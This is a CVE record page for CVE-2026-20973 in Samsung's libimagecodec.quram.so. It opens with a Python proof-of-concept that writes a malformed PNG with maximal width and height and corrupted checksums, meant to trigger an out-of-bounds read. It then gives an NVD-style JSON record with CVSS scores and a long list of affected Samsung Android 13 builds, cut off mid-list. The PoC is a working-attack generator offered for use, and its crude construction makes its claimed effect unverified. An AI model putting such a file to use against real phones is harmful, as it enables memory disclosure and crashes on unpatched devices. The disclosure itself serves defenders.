CVE-2026-20973

# CVE-2026-20973 PoC - Malformed Image File Generator # This PoC demonstrates the vulnerability in libimagecodec.quram.so # Note: This is for educational and security research purposes only import struct import os def create_malformed_image(): """ Generate a malformed image file that triggers out-of-bounds read in Samsung's libimagecodec.quram.so library """ # Image header with corrupted size fields header = bytearray() # PNG signature header.extend(b'\x89PNG\r\n\x1a\n') # IHDR chunk with manipulated dimensions ihdr_data = bytearray() ihdr_data.extend(struct.pack('>I', 0xFFFFFFFF)) # Manipulated width ihdr_data.extend(struct.pack('>I', 0xFFFFFFFF)) # Manipulated height ihdr_data.extend(b'\x08') # Bit depth ihdr_data.extend(b'\x06') # Color type (RGBA) ihdr_data.extend(b'\x00') # Compression ihdr_data.extend(b'\x00') # Filter ihdr_data.extend(b'\x00') # Interlace ihdr_chunk = bytearray() ihdr_chunk.extend(struct.pack('>I', len(ihdr_data))) # Length ihdr_chunk.extend(b'IHDR') ihdr_chunk.extend(ihdr_data) ihdr_chunk.extend(struct.pack('>I', 0xFFFFFFFF)) # Corrupted CRC header.extend(ihdr_chunk) # IDAT chunk with malformed compressed data idat_data = bytearray([ 0x78, 0x9C, # Zlib header 0x62, 0x64, 0x60, 0x60, 0x60, # Compressed data 0x00, 0x00, 0x00, 0xFF, 0xFF # Trailer ]) idat_chunk = bytearray() idat_chunk.extend(struct.pack('>I', len(idat_data))) idat_chunk.extend(b'IDAT') idat_chunk.extend(idat_data) idat_chunk.extend(struct.pack('>I', 0x00000000)) # CRC header.extend(idat_chunk) # IEND chunk iend_chunk = bytearray() iend_chunk.extend(struct.pack('>I', 0)) iend_chunk.extend(b'IEND') iend_chunk.extend(struct.pack('>I', 0xAE426082)) # CRC header.extend(iend_chunk) return bytes(header) def main(): poc_file = 'CVE-2026-20973_poc.png' poc_data = create_malformed_image() with open(poc_file, 'wb') as f: f.write(poc_data) print(f'[+] PoC file generated: {poc_file}') print(f'[+] File size: {len(poc_data)} bytes') print('[!] This PoC triggers out-of-bounds read in libimagecodec.quram.so') print('[!] For authorized security testing only') if __name__ == '__main__': main()

{"cve": {"id": "CVE-2026-20973", "sourceIdentifier": "[email protected]", "published": "2026-01-09T07:16:03.817", "lastModified": "2026-02-02T18:16:50.733", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Out-of-bounds read in libimagecodec.quram.so prior to SMR Jan-2026 Release 1 allows remote attacker to access out-of-bounds memory."}, {"lang": "es", "value": "Lectura fuera de límites en libimagecodec.quram.so anterior a SMR Ene-2026 Versión 1 permite a un atacante remoto acceder a memoria fuera de límites."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-apr-2022-r1:*:*:*:*:*:*", "matchCriteriaId": "BDE4D65E-8F9B-4810-AED6-95564A97D741"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-apr-2023-r1:*:*:*:*:*:*", "matchCriteriaId": "70825981-F895-4BFD-9B6E-92BFF0D67023"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-apr-2024-r1:*:*:*:*:*:*", "matchCriteriaId": "A5E68B7B-BA08-4E8C-B60A-B3836C6986BC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-apr-2025-r1:*:*:*:*:*:*", "matchCriteriaId": "AC42E785-02BF-4F27-B5CF-49572A2DBC8E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-aug-2022-r1:*:*:*:*:*:*", "matchCriteriaId": "0AF1EDA0-2712-4C3C-8D8A-89E154BB63DF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-aug-2023-r1:*:*:*:*:*:*", "matchCriteriaId": "88DC0A82-CAF3-4E88-8A4D-8AF79D0C226D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-aug-2024-r1:*:*:*:*:*:*", "matchCriteriaId": "6239D93F-CA0E-4120-96A1-FB63276EAEE8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-aug-2025-r1:*:*:*:*:*:*", "matchCriteriaId": "25F19D02-1FFC-48AF-9CB8-063C459E7A4B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-dec-2021-r1:*:*:*:*:*:*", "matchCriteriaId": "CD382E2D-0B51-4908-989A-88E083FC85BF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-dec-2022-r1:*:*:*:*:*:*", "matchCriteriaId": "299284DA-85AB-4162-B858-E67E5C6C14F7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-dec-2023-r1:*:*:*:*:*:*", "matchCriteriaId": "38B7AB56-AB65-4557-A91C-40CA2FD12351"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-dec-2024-r1:*:*:*:*:*:*", "matchCriteriaId": "858B0736-2272-4D5A-A77F-47023D21F7D0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-dec-2025-r1:*:*:*:*:*:*", "matchCriteriaId": "BB730563-7C35-4384-89BD-6EE0C5C6126B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-feb-2022-r1:*:*:*:*:*:*", "matchCriteriaId": "61D507C0-086B-4139-A560-126964DFA579"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-feb-2023-r1:*:*:*:*:*:*", "matchCriteriaId": "D98F307E-3B01-4C17-86E5-1C6299919417"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-feb-2024-r1:*:*:*:*:*:*", "matchCriteriaId": "952CA843-7CF0-4424-BDA4-3F2A93E077B6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-feb-2025-r1:*:*:*:*:*:*", "matchCriteriaId": "39F64BAA-2E49-4919-A940-219391383D5E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-jan-2022-r1:*:*:*:*:*:*", "matchCriteriaId": "57B125ED-D939-4CBC-9E96-BBCF02402A69"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-jan-2023-r1:*:*:*:*:*:*", "matchCriteriaId": "7D7DA96D-9C25-4DDA-A6BF-D998AC346B89"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-jan-2024-r1:*:*:*:*:*:*", "matchCriteriaId": "07AC19C6-D245-4C3A-90CC-A931A901EA0A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:13.0:smr-jan-2025-r1:*:*:*:*:*:*", "matchCriteriaId": "FDA1685E-D101-46F6-8857-7F0894E07748"}, {"vulnerable": true, ... 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